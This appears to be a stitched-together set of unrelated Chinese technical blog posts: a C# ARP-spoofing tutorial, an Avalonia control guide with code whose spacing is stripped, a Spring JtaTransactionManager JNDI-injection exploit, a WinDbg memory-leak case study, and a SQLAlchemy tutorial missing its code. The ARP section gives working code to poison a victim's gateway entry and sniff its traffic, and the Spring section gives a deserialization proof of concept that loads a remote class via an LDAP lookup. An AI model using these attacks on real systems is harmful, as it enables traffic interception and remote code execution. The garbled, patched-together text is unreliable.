2024年4月

由于之前写的C# 实现Arp欺诈的文章属于网络攻击,不能够被展示,所以这边我们稍微说一下C#调用ARP包以及查看其他电脑上网数据包的技术,委婉的说一下ARP在局域网之中的应用。
本文章纯属技术讨论,并且涵盖了如何去防止ARP攻击的手段。

ARP作用

学到一点网络的都知道,
ARP本身用于IP地址和MAC地址的转换
,主要是在七层网络协议中,网络层之下就是使用MAC地址进行通信了,这样的设计本身也是底层可以无关上层通讯协议的变化而变化,而提供一个统一的接口。

比如局域网中的A主机和B主机,如果A主机的ARP缓存中有B主机的MAC地址,则直接发送数据到对应MAC地址,没有则通过发送ARP广播数据包的方式,根据回应来更新ARP缓存。

ARP欺骗原理

创建一个arp包,将网关ip地址和错误的网关mac地址发送给目标主机,让主机更新错误的mac-ip地址映射到缓存中。

工具

开源的.net arp库: SharpPcap,PacketDotNet
项目中导入:

<PackageReference Include="PacketDotNet" Version="1.4.7" />
<PackageReference Include="SharpPcap" Version="6.2.5" />

实战

获取本机所有的网络设备
LibPcapLiveDeviceList.Instance
获取对应设备的ip和mac地址,以及网关ip
foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6)
    {
        //ipv4地址
        if (address.Addr.ipAddress.AddressFamily == AddressFamily.InterNetwork)
        {
            LocalIp = address.Addr.ipAddress;
            break;
        }
    }
}

foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.HARDWARE)
    {
        LocalMac = address.Addr.hardwareAddress; // 本机MAC
    }
}

var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 网关IP
//ipv4的gateway
GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork);
获取网关mac地址

通过发送arp包到网关,获取响应包,从响应包中获取mac地址。
1.创建arp包

var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetType.Arp);
var arpPacket = new ArpPacket(ArpOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP);
ethernetPacket.PayloadPacket = arpPacket;

2.发送arp包到网关,并且等待下一个回复包。

LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20);
LibPcapLiveDevice.Filter = arpFilter;
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
ArpPacket arpPacket = null;
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(request);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)//是否是一个arp包
        {
            continue;
        }

        if (arpPacket.SenderProtocolAddress.Equals(destIP))
        {
            break;
        }
    }
}

// free the device
LibPcapLiveDevice.Close();
return arpPacket?.SenderHardwareAddress;
扫描局域网内活动ip和mac地址

1.设置扫描的ip区间,生成每个ip的arp请求包

var arpPackets = new Packet[targetIPList.Count];
for (int i = 0; i < arpPackets.Length; ++i)
{
    arpPackets[i] = BuildRequest(targetIPList[i], LocalMac, LocalIp);
}

2.发送arp包到各个ip,如果回复了则在线,超时则认为不活动

if (_cancellationTokenSource.IsCancellationRequested)
{
    break;
}
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (_cancellationTokenSource.IsCancellationRequested)
    {
        break;
    }

    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(arpPackets[i]);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        var arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)
        {
            continue;
        }

        //回复的arp包并且是我们请求的ip地址
        if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i]))
        {
            Application.Current.Dispatcher.Invoke(() =>
            {
                ///增加到IPlist中
                Computers.Add(new Computer()
                {
                    IPAddress = arpPacket.SenderProtocolAddress.ToString(),
                    MacAddress = arpPacket.SenderHardwareAddress?.ToString(),
                });
            });

            break;
        }
    }
}
指定ip/ips攻击

攻击包就不能创建请求包, 应该伪造一个来自网关的响应包,从而将网关错误的mac地址更新到目标主机的缓存中。
1.创建错误的响应包

 private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac)
{
    var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetType.Arp);
    var arpPacket = new ArpPacket(ArpOperation.Response, destMac, destIP, senderMac, senderIP);
    ethernetPacket.PayloadPacket = arpPacket;
    return ethernetPacket;
}

调用创建arp响应包,但是可以看到最后一个mac地址,应该是网关的mac地址,我们替换成了自己本地mac地址。

BuildResponse(IPAddress.Parse(compute.IPAddress), PhysicalAddress.Parse(compute.MacAddress), GatewayIp, LocalMac);

2.直接以1000ms的间隔轮询发送响应包到目标主机

var aTask = Task.Run(async () =>
{
    while (true)
    {
        if (_cancellationTokenSource1.IsCancellationRequested)
        {
            break;
        }
        try
        {
            LibPcapLiveDevice.SendPacket(packet);
        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message);
        }

        await Task.Delay(1000);
    }
    LibPcapLiveDevice.Close();
}, _cancellationTokenSource1.Token);

获取网络数据包

此时的被攻击的电脑,由于它的网关对应的MAC地址被我们替换成了自己电脑的MAC,所以原本通过网关发送的数据包,都会发送到我们电脑上来,我们不做任何处理就会导致电脑无法上网,我们可以通过监听网卡查看来自该电脑的数据包,从而窥探一些请求。

/// <summary>
/// 监听到攻击的网卡收到的数据包
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void OnPacketArrival(object sender, PacketCapture e)
{
    try
    {
        var device = sender as LibPcapLiveDevice;
        var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray());
        if (packet != null)
        {
            if (packet is EthernetPacket ethernetPacket) //数据包是以太网数据
            {
                var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString());

                if (targetComputer != null)
                {
                    var ipPacket = ethernetPacket.Extract<IPPacket>();
                    if (ipPacket != null)
                    {
                        var packetViewModel = new PacketViewModel();
                        packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString();
                        packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString();

                        var udpPacket = ipPacket.Extract<UdpPacket>();
                        var tcpPacket = ipPacket.Extract<TcpPacket>();
                        packetViewModel.Type = "IP";

                        if (udpPacket != null)
                        {
                            packetViewModel.SourcePort = udpPacket.SourcePort;
                            packetViewModel.TargetPort = udpPacket.DestinationPort;
                            packetViewModel.Type = "UDP";
                        }

                        if (tcpPacket != null)
                        {
                            packetViewModel.SourcePort = tcpPacket.SourcePort;
                            packetViewModel.TargetPort = tcpPacket.DestinationPort;
                            packetViewModel.Type = "TCP";
                        }

                        targetComputer.AddPacket(packetViewModel);
                    }
                    else
                    {
                        ///mac地址没啥好记录的都知道了
                        var packetViewModel = new PacketViewModel();
                        packetViewModel.Type = "以太网";
                        targetComputer.AddPacket(packetViewModel);
                    }
                }
            }
        }
    }
    catch (Exception) 
    {
    }
}

我们解析了IP数据包,TCP以及UDP包。

工具页面

image

如何预防?

一般只需要本地将网关和MAC地址静态绑定即可。

完整代码和工具

https://github.com/BruceQiu1996/ArpSpoofing

Avalonia中的自定义用户控件

Avalonia是一个跨平台的.NET UI框架,它允许开发者使用C#和XAML来构建丰富的桌面应用程序。

自定义用户控件(UserControl)是Avalonia中一种重要的组件,它允许我们将多个控件组合成一个可重用的单元。

本文将介绍如何在Avalonia中定义和使用自定义用户控件,并展示如何定义自定义事件与属性。

定义自定义用户控件

首先,我们需要定义一个自定义用户控件。

假设我们要创建一个简单的用户控件,它包含一个按钮和一个文本框,当点击按钮时,文本框的内容会发生变化。

MyUserControl.xaml

<UserControlxmlns="https://github.com/avaloniaui"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.microsoft.com/expression/blend/2008"xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"mc:Ignorable="d"d:DesignWidth="800"d:DesignHeight="450"x:Class="AvaloniaApplication1.MyUserControl">
    <StackPanel>
        <TextBoxx:Name="myTextBox"Text="Click the button below"/>
        <ButtonContent="Click Me"Click="OnButtonClick"/>
    </StackPanel>
</UserControl>

在XAML中,我们定义了一个StackPanel作为布局容器,其中包含了一个TextBox和一个Button。

Button的Click事件绑定到了OnButtonClick方法上,这个方法将在后面的C#代码中定义。

MyUserControl.xaml.cs

usingAvalonia;usingAvalonia.Controls;usingAvalonia.Interactivity;namespaceAvaloniaApplication1;public partial classMyUserControl : UserControl
{
privateTextBox _myTextBox;publicMyUserControl()
{
InitializeComponent();

_myTextBox
= this.FindControl<TextBox>("myTextBox");
}
//自定义属性 public static readonly StyledProperty<string> CustomProperty =AvaloniaProperty.Register<MyUserControl, string>("CustomProperty");public stringCustomValue
{
get =>GetValue(CustomProperty);set =>SetValue(CustomProperty, value);
}
//自定义事件 public static readonly RoutedEvent<RoutedEventArgs> CustomEvent =RoutedEvent.Register<MyUserControl, RoutedEventArgs>("CustomEvent", RoutingStrategies.Bubble);public voidRaiseCustomEvent()
{
RaiseEvent(
newRoutedEventArgs(CustomEvent));
}
//按钮点击事件处理 private void OnButtonClick(objectsender, RoutedEventArgs e)
{
_myTextBox.Text
= ("CustomValue is" + CustomValue + "Button clicked!");
RaiseCustomEvent();
//触发自定义事件 }

}

在C#代码中,我们找到名为myTextBox的TextBox控件,以便在后面的代码中操作它。

接下来,我们定义了一个自定义属性CustomProperty和一个自定义事件CustomEvent。

最后,我们实现了OnButtonClick方法,用于处理按钮的点击事件。在这个方法中,我们改变了文本框的内容,并触发了自定义事件。

使用自定义用户控件

现在,我们可以在其他地方使用这个自定义用户控件了。

MainWindow.xaml

<Window xmlns="https://github.com/avaloniaui"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:vm="using:AvaloniaApplication1.ViewModels"xmlns:d="http://schemas.microsoft.com/expression/blend/2008"xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"xmlns:local="clr-namespace:AvaloniaApplication1"mc:Ignorable="d" d:DesignWidth="800" d:DesignHeight="450"x:Class="AvaloniaApplication1.Views.MainWindow"x:DataType="vm:MainWindowViewModel"Icon="/Assets/avalonia-logo.ico"Title="AvaloniaApplication1">

    <Design.DataContext>
        <!-- This only sets the DataContext for the previewer inan IDE,
to
set the actual DataContext for runtime, set the DataContext property in code (look at App.axaml.cs) --> <vm:MainWindowViewModel/> </Design.DataContext> <local:MyUserControl Name="myUserControl" CustomValue="test test"></local:MyUserControl> </Window>

在MainWindow.xaml中,我们直接使用了自定义用户控件MyUserControl,并为其CustomProperty属性设置了一个初始值。

处理自定义事件

要在父控件或其他组件中处理自定义事件,我们需要在相应的C#代码中添加事件处理程序。

MainWindow.xaml.cs

usingAvalonia.Controls;usingAvalonia.Interactivity;usingSystem.Diagnostics;namespaceAvaloniaApplication1.Views
{
public partial classMainWindow : Window
{
publicMainWindow()
{
InitializeComponent();
var myUserControl = this.FindControl<MyUserControl>("myUserControl");
myUserControl.AddHandler(MyUserControl.CustomEvent, MyUserControl_CustomEvent, RoutingStrategies.Bubble);
}
private void MyUserControl_CustomEvent(objectsender, RoutedEventArgs e)
{
//处理自定义事件 Debug.WriteLine("c event triggered");
}
}
}

InitializeComponent 方法中,我们通过 FindControl 方法找到 MyUserControl 的实例,并使用 AddHandler 方法订阅自定义事件。

当 MyUserControl 触发 CustomEvent 事件时,MyUserControl_CustomEvent 方法会被调用。

总结

本文展示了如何在Avalonia中定义和使用自定义用户控件,并定义了自定义事件与属性。

自定义用户控件是构建复杂UI的关键组件,而自定义事件和属性则增强了控件的灵活性和可重用性。通过结合XAML和C#代码,我们可以创建出功能强大且易于维护的用户界面。

漏洞原理

Spring框架的
JtaTransactionManager
类中重写了
readObject
方法,这个方法最终会调用到JNDI中的
lookup()
方法,关键是里面的参数可控,这就导致了攻击者可以利用JNDI注入中的lookup()参数注入,传入恶意URI地址指向攻击者的RMI注册表服务,以使受害者客户端加载绑定在攻击者RMI注册表服务上的恶意类,从而实现远程代码执行。

环境依赖

<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-tx</artifactId>
  <version>4.2.4.RELEASE</version>
</dependency>
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-context</artifactId>
  <version>4.2.4.RELEASE</version>
</dependency>
<dependency>
  <groupId>javax.transaction</groupId>
  <artifactId>javax.transaction-api</artifactId>
  <version>1.2</version>
</dependency>

流程分析

漏洞入口在
org/springframework/transaction/jta/JtaTransactionManager.java
的readObject方法

跟进
initUserTransactionAndTransactionManager

跟进
lookupUserTransaction
,这里调用了lookup

跟进lookup方法

继续跟进lookup方法,这里调用的是ctx的lookup方法,ctx是一个Context类型,往后追踪ctx,发现ctx其实是
InitialContext
类的实例,所以这里我们控制name的值就能直接打JNDI注入了

name就是
JtaTransactionManager
的属性
userTransactionName
,我们可以反射修改它的值

package org.example;
import org.springframework.transaction.jta.JtaTransactionManager;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        Field userTransactionName = JtaTransactionManager.class.getDeclaredField("userTransactionName");
        userTransactionName.setAccessible(true);
        userTransactionName.set(jtaTransactionManager, "ldap://127.0.0.1:1099/evil");
        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
        oos.writeObject(jtaTransactionManager);
        // 反序列化
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\SpringJNDI\\test.bin"));
        ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
        ObjectInputStream obj = new ObjectInputStream(bis);
        obj.readObject();
    }
}

成功注入

rmi也是同理,把ldap换成rmi就行了,至于恶意服务端怎么搭建,之前的文章有讲过,这里就不再复述

一:背景

1. 讲故事

前些天有位朋友微信找到我,说他们的WPF程序有内存泄漏的情况,让我帮忙看下怎么回事?并且dump也抓到了,网上关于程序内存泄漏,内存暴涨的文章不计其数,看样子这个dump不是很好分析,不管怎么说,上 windbg 说话。

二:WinDbg分析

1. 内存真的暴涨吗


.NET调试训练营
中我一直强调要相信数据,不要相信别人的一面之词,往往会把你带到沟里去,接下来使用
!address -summary
观察下提交内存。


0:000> !address -summary

--- Usage Summary ---------------- RgnCount ----------- Total Size -------- %ofBusy %ofTotal
Free                                    586     7dfd`f04e3000 ( 125.992 TB)           98.43%
<unknown>                              1390      201`5a9bc000 (   2.005 TB)  99.86%    1.57%
Heap                                   3989        0`7695c000 (   1.853 GB)   0.09%    0.00%
Image                                  1744        0`2077d000 ( 519.488 MB)   0.02%    0.00%
Stack                                   957        0`1dc00000 ( 476.000 MB)   0.02%    0.00%
TEB                                     319        0`0027e000 (   2.492 MB)   0.00%    0.00%
Other                                    61        0`001f9000 (   1.973 MB)   0.00%    0.00%
PEB                                       1        0`00001000 (   4.000 kB)   0.00%    0.00%
...
--- State Summary ---------------- RgnCount ----------- Total Size -------- %ofBusy %ofTotal
MEM_FREE                                586     7dfd`f04e3000 ( 125.992 TB)           98.43%
MEM_RESERVE                            2028      201`46def000 (   2.005 TB)  99.85%    1.57%
MEM_COMMIT                             6433        0`c8d1e000 (   3.138 GB)   0.15%    0.00%
...

从卦中可知当前的提交内存是
3.1G
,对于一个窗体程序来说这个内存量算是比较大了,接下来使用
!eeheap -gc
观察下托管堆内存。


0:000> !eeheap -gc

========================================
Number of GC Heaps: 1
----------------------------------------
generation 0 starts at 1b368e4de10
generation 1 starts at 1b3687ea4f0
generation 2 starts at 1b300001000
ephemeral segment allocation context: none
Small object heap
         segment            begin        allocated        committed allocated size         committed size        
    01b300000000     01b300001000     01b30fffff88     01b310000000 0xfffef88 (268431240)  0x10000000 (268435456)
    01b35dc70000     01b35dc71000     01b368e8fe28     01b369995000 0xb21ee28 (186773032)  0xbd25000 (198332416) 
Large object heap starts at 1b310001000
         segment            begin        allocated        committed allocated size         committed size        
    01b310000000     01b310001000     01b316d40560     01b316d41000 0x6d3f560 (114554208)  0x6d41000 (114561024) 
    01b3cfc50000     01b3cfc51000     01b3d6588320     01b3d6589000 0x6937320 (110326560)  0x6939000 (110333952) 
Pinned object heap starts at 1b318001000
         segment            begin        allocated        committed allocated size         committed size        
    01b318000000     01b318001000     01b3180812d0     01b318082000 0x802d0 (525008)       0x82000 (532480)      
------------------------------
GC Allocated Heap Size:    Size: 0x28914900 (680610048) bytes.
GC Committed Heap Size:    Size: 0x29421000 (692195328) bytes.

从卦中数据看,当前的托管堆也才
692M
,和当前的
3G
相差甚远,这就说明这个程序出现了比较麻烦的
非托管内存泄漏
,接下来回头看下内存地址段发现
Heap=1.8G
,有了这个数据后用
!heap -s
观察下地址段。


0:000> !heap -s


************************************************************************************************************************
                                              NT HEAP STATS BELOW
************************************************************************************************************************
LFH Key                   : 0x3861e2c156213079
Termination on corruption : ENABLED
          Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast 
                            (k)     (k)    (k)     (k) length      blocks cont. heap 
-------------------------------------------------------------------------------------
000001b37a6b0000 00000002  194824 183768 194432  29846  1716    20   30   6fa1   LFH
    External fragmentation  16 % (1716 free blocks)
000001b37a4e0000 00008000      64      8     64      6     1     1    0      0      
000001b37c140000 00001002    3516   2492   3124    476    69     3    0      0   LFH
    External fragmentation  19 % (69 free blocks)
000001b37c380000 00001002      60     36     60      8     3     1    0      0      
000001b37c360000 00041002      60      8     60      5     1     1    0      0      
000001b37d510000 00001002    1472     88   1080     38     7     2    0      0   LFH
000001b320a10000 00001002    1472    204   1080     71    12     2    0      0   LFH
000001b327a60000 00001002     452     32     60      4     3     1    0      0   LFH
000001b3292b0000 00001002 1513284 1215876 1512892  74984  6445   924    4 2e72c3   LFH
    Virtual address fragmentation  19 % (924 uncommited ranges)
    Lock contention  3044035 
000001b327e80000 00001002    1472    812   1080    439    11     2    0      2   LFH
000001b327cb0000 00001002    3516   1140   3124    519    12     3    0      0   LFH
    External fragmentation  45 % (12 free blocks)
000001b327ec0000 00001002    1472    824   1080    468    10     2    0      0   LFH
000001b327cc0000 00001002    1472   1012   1080    441    11     2    0      0   LFH
-------------------------------------------------------------------------------------

从卦中数据看当前的内存都被
Heap=000001b3292b0000
这个私有heap给吃掉了,看样子是某个程序为了某个目的单独分配的,由于没有开启 ust ,这里就没法进行下去了,接下来陷入了迷茫。

2. 在绝望中寻找希望

没有开启ust是不是就没有突破口了呢?大多情况下是的,但作为调试师,需要具备在
绝望中寻找希望
的能力,再回头看地址段,发现
TEB=319
,也就说当前程序有 319 个线程,对于一个窗体程序来说这么多线程很明显是一个
异常信号
,那这个就是突破口,先用
!tp
观察下托管线程列表。

从卦中数据看基本都是线程池的工作线程,为什么会开启这么多线程呢?第一个反应就是线程是不是卡住了?马上用
!syncblk
命令做下验证。


0:000> !syncblk
Index         SyncBlock MonitorHeld Recursion Owning Thread Info          SyncBlock Owner
 2363 000001B3984D6928          381         1 000001B335581A80 607c 135   000001b35e3a0d98 System.Object
-----------------------------
Total           2410
CCW             301
RCW             126
ComClassFactory 1
Free            1783

我去。。。卦中的数据又让我看到了希望!原来有190 个线程卡在
System.Object
锁上,赶紧找个线程观察下线程栈,为了隐私我就多隐藏一点。


0:263> ~~[5a2c]s
ntdll!NtWaitForMultipleObjects+0x14:
00007fff`c800fec4 c3              ret
0:292> !clrstack
OS Thread Id: 0x5a2c (292)
        Child SP               IP Call Site
0000002E98DFEB48 00007fffc800fec4 [HelperMethodFrame_1OBJ: 0000002e98dfeb48] System.Threading.Monitor.ReliableEnter(System.Object, Boolean ByRef)
0000002E98DFECA0 00007fff12dd2ca3 xxx.SqliteHelper.Insert[[System.__Canon, System.Private.CoreLib]](System.__Canon, System.String ByRef)
...
0000002E98DFF220 00007fff136902b6 System.Threading.Tasks.Task.ExecuteWithThreadLocal(System.Threading.Tasks.Task ByRef, System.Threading.Thread)
0000002E98DFF2D0 00007fff12d1a12b System.Threading.ThreadPoolWorkQueue.Dispatch()
0000002E98DFF360 00007fff136de091 System.Threading.PortableThreadPool+WorkerThread.WorkerThreadStart()
0000002E98DFF6B0 00007fff7115aed3 [DebuggerU2MCatchHandlerFrame: 0000002e98dff6b0] 

从卦中可以看到当前卡在
SqliteHelper.Insert
方法上,这到底是何方神圣?赶紧看一下代码。



Task.Run
去跑一个异步逻辑,是一个编程大坑,一旦这个
Task.Run
运行比较慢或者前端请求比较大,很容易造成线程饥饿,从这个程序中的
SetBlob
方法来看,就是将
byte[]
丢到 SqlLite 里,所以这个非托管内存泄漏其实是 Sqlite 在非托管层持有的数据。

挖到了根子上的原因之后,解决办法就比较简单了。

  1. 尽量的批量化Insert,不要用 foreach 一条一条的 Insert
  2. 用单独线程队列化处理,不要用偷懒式 Task.Run

三:总结

这次分析之旅是典型的
在绝望中寻找希望
,调试者需要具备沉着冷静的心态,坚持不放弃最终在
内存段
的 TEB 上找到了寻找真相的突破口。

图片名称

一、SQLAlchemy介绍

SQLAlchemy 是 Python SQL 工具包和对象关系映射器,为应用程序开发人员提供 SQL 的全部功能和灵活性。

SQLAlchemy支持SQLite、PostgreSQL、Oracle、MySQL、MariaDB、Microsoft SQL Server等多种数据库。

二、SQLAlchemy安装

我安装的版本是:SQLAlchemy==2.0.29。注意SQLAlchemy2.x以上的版本和1.x版本差别还是挺大的,注意版本。

因为SQLAlchemy不能直接操作数据库,还需要python中的pymysql第三方库,所以还需要安装pymysql

PyMySQL==1.1.0.

三、创建测试数据库

创建一个用于测试的数据库

其中sqlalchemydb就是测试数据库

四、封装SQLAlchemyDB类

在python项目根目录下创建一个sqlalchemy_db.py文件,当然你也可以在其他目录下创建。其中内容如下:

说明1:该文件sqlalchemy_db.py的作用是封装一个SQLAlchemy的类,为实例化sqlAlchemy对象做准备

说明2:self.engine是连接数据的引擎设置,只有设置了engine,我们才能通过sqlalchemy对象操作数据库

说明3:self.session可以理解为数据库的操作对象,我们对数据库的操作都是基于该session实现的。

说明4:engine参数解释

  1. 参数url:SQLAlchemy要连接的数据库地址,其格式为:数据库类型+数据库驱动://数据库用户:数据库密码@数据库地址:端口号/数据库名称?编码方式
  2. 参数convert_unicode:按照指定的编码方式对字符串进行编码解码
  3. 参数isolation_level:设置事务的隔离界别
  4. 参数pool_recycle:设置回收链接的时间,单位毫秒
  5. 参数pool_pre_ping:每次连接前预先ping一下
  6. 参数pool_size: 链接池中保持数据库连接的数量,默认是5
  7. 参数max_overflow :当链接池中的连接数不够用的时候,允许额外再创建的最大链接数量,默认是10
  8. pool_timeout:排队等数据库链接时的超时时间
说明5: scoped_session创建的session是线程安全的。

五、创建model模型

5.1 SQLAlchemy支持的数据类型

    • Integer:整形
    • String:字符串
    • Float:浮点型
    • DECIMAL:定点型
    • Boolean:bool
    • Date:日期类型
    • DateTime:日期+时间类型
    • Time:时间类型
    • Enum:枚举类型
    • Text:文本类型
    • LongText:长文本类型

5.2 SQLAlchemy字段常用的约束

    • default:默认值
    • nullable:是否可空
    • primary_key:是否为主键
    • unique:是否唯一
    • autoincrement:是否自动增长
    • name:该属性在数据库中的映射字段

5.3 创建测试的model.py文件

在项目的根目录或者你需要的地方创建一个model.py文件,内容如下:

说明1:为了测试效果,我们在这个model类中尽可能的多展示了不同字段的使用

说明2:Base.metadata.create_all() 会将我们的模型自动映射到数据库中,当然也可以手动去数据库中创建表

说明3:我们写好的这个model类暂时还没有使用呢 。

六、创建测试文件

在项目根目录下或者你需要的地方创建一个test.py文件,内容如下:

这时我们在test.py中就只引入mysql_db和TestModel,其他的先不写,然后使用python test.py运行该脚本,就会发现我们的model模型,已经同步到数据库中了

七、添加测试数据

7.1 单条添加数据

修改test.py文件如下,然后python test.py执行

执行之后,我们去数据库查看结果如下:

说明1:create_time,update_time,is_delete都是有默认值的字段,如果不设置,会自动显示默认值。

说明2:money字段总长度时9位,但是可以少于9位,不能多于9位,小数部位不足时补0

7.2 批量添加数据

再来演示一下批量增加数据,代码如下还是在test.py中

执行后的结果如下:

八、修改删除

8.1 修改

刚才已经演示了增加数据的代码,下面我们看一下修改,代码如下,还是在test.py文件中

查看一下数据库

8.2 删除

可以看到姓名和性别已经修改成功。再来测试一下删除数据

可以看出,数据库中已经没有id=1的数据了

九、查询

在进行查询测试之前,先往数据库中添加一下测试数据

9.1 query关键字

在做查询的时候我们通常query关键字,它类似于SQL中select 关键字,query参数通常可以填写三类参数

    • model模型对象:指定查找这个模型中所有的字段
    • model模型对象中的属性:可以指定只查找某个model中的几个属性字段
    • 聚合函数:func.count(统计行的数量),func.avg(求平均数),func.max(求最大值),func.min(求最小值),func.sum(求和)

查看一下打印结果

说明1:在做查询的时候 .first() 表示查询第一个满足条件的数据

说明2:在做查询的时候 .all() 表示查询所有数据

说明3:如果不是查询全部字段,只查询部分字段或者聚合函数的话,结果返回的是一个元组,通过下标取数据即可

9.2 filter关键字

过滤是数据提取的一个很重要的功能,以下对一些常用的过滤条件进行解释,并且这些过滤条件都是只能通过filter方法实现,常用的方法有

    • 相等: ==
    • 不相等: !=
    • 模糊查询:like(%xx$)
    • 包含:in_()
    • 不包含:~ in_() 注意 ~不是直接加在in前面的,注意看代码示例
    • 空:==None 或者 is_(None)
    • 不为空: !=None 或者 isnot(None)
    • 并且: and_()或者也可以使用逗号连接多个条件
    • 或者:or_()

打印结果如下:

9.3分页查询

方式1:使用limit+offset实现

查询结果为:

方式2:使用slice

输出结果为:

十、排序

输出结果为: